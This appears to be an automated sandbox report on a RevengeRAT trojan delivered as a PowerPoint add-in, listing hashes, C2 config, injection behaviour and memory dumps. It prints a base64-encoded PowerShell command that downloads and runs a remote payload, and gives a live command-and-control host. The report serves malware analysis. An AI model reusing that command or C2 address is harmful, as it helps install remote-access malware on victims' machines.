revengerat | 013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda

Analysis

max time kernel
92s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
16-04-2024 15:34

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General

Target

RES094464-2180.ppam
Size

28KB
MD5

7e0c3f4ee3bb201339b0be1e73142374
SHA1

bb1dbdfd0cbbdb0f33dba0502d896224ba567680
SHA256

013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda
SHA512

5398377cd90f8aa3b8834eef60fcf438c9eeed154e78447b902e04b1f5071726aa03c2bcca5280da1c8e06649b9a01f7645638ae6cd09f8a68f69fe41f299da4
SSDEEP

768:VPKiNgILNl1pb2GdSXlWEsusK+oCx7oho6n7vtxUkO:VC6vgIS4tokyH7lmkO

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	5072	4196	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

30 5072 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 5072 set thread context of 3000 5072 powershell.exe RegSvcs.exe

flow	pid	process
30	5072	powershell.exe

description	pid	process	target process
PID 5072 set thread context of 3000	5072	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXERegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

4196 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5072 powershell.exe
5072 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5072 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

4196 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

4196 POWERPNT.EXE
4196 POWERPNT.EXE
4196 POWERPNT.EXE

pid	process
4196	POWERPNT.EXE

pid	process
5072	powershell.exe
5072	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5072	powershell.exe

pid	process
4196	POWERPNT.EXE

pid	process
4196	POWERPNT.EXE
4196	POWERPNT.EXE
4196	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 4196 wrote to memory of 5072	4196	POWERPNT.EXE	powershell.exe
PID 4196 wrote to memory of 5072	4196	POWERPNT.EXE	powershell.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe
PID 5072 wrote to memory of 3000	5072	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\RES094464-2180.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5072

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Checks processor information in registry
PID:3000

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhoxucq0.br3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3000-124-0x0000000004DF0000-0x0000000004E00000-memory.dmp

Filesize
64KB

Download
memory/3000-123-0x0000000075360000-0x0000000075B10000-memory.dmp

Filesize
7.7MB

Download
memory/3000-121-0x00000000058E0000-0x000000000597C000-memory.dmp

Filesize
624KB

Download
memory/3000-122-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/3000-120-0x0000000004DF0000-0x0000000004E00000-memory.dmp

Filesize
64KB

Download
memory/3000-111-0x0000000075360000-0x0000000075B10000-memory.dmp

Filesize
7.7MB

Download
memory/3000-107-0x0000000005290000-0x0000000005834000-memory.dmp

Filesize
5.6MB

Download
memory/3000-105-0x0000000000770000-0x000000000077A000-memory.dmp

Filesize
40KB

Download
memory/4196-102-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-6-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-11-0x00007FFE07130000-0x00007FFE07140000-memory.dmp

Filesize
64KB

Download
memory/4196-12-0x00007FFE07130000-0x00007FFE07140000-memory.dmp

Filesize
64KB

Download
memory/4196-13-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-14-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-16-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-15-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-17-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-18-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-19-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-20-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-31-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-36-0x000001EED1E60000-0x000001EED2060000-memory.dmp

Filesize
2.0MB

Download
memory/4196-57-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-59-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-60-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-61-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-62-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-3-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-9-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-1-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-2-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-5-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-4-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-119-0x000001EED1E60000-0x000001EED2060000-memory.dmp

Filesize
2.0MB

Download
memory/4196-117-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-118-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-116-0x000001EECEE30000-0x000001EECF630000-memory.dmp

Filesize
8.0MB

Download
memory/4196-115-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-114-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-112-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-113-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-10-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-98-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-8-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-100-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-101-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-0-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-104-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/4196-7-0x00007FFE095B0000-0x00007FFE095C0000-memory.dmp

Filesize
64KB

Download
memory/4196-106-0x00007FFE49530000-0x00007FFE49725000-memory.dmp

Filesize
2.0MB

Download
memory/5072-83-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-80-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-92-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-89-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-87-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-85-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-95-0x000001C2AF100000-0x000001C2AF101000-memory.dmp

Filesize
4KB

Download
memory/5072-81-0x000001C2C7820000-0x000001C2C7838000-memory.dmp

Filesize
96KB

Download
memory/5072-99-0x00007FFE1DAD0000-0x00007FFE1E591000-memory.dmp

Filesize
10.8MB

Download
memory/5072-79-0x000001C2C7820000-0x000001C2C7840000-memory.dmp

Filesize
128KB

Download
memory/5072-78-0x000001C2AF080000-0x000001C2AF090000-memory.dmp

Filesize
64KB

Download
memory/5072-77-0x000001C2AF080000-0x000001C2AF090000-memory.dmp

Filesize
64KB

Download
memory/5072-76-0x000001C2AF080000-0x000001C2AF090000-memory.dmp

Filesize
64KB

Download
memory/5072-75-0x00007FFE1DAD0000-0x00007FFE1E591000-memory.dmp

Filesize
10.8MB

Download
memory/5072-70-0x000001C2C7340000-0x000001C2C7362000-memory.dmp

Filesize
136KB

Download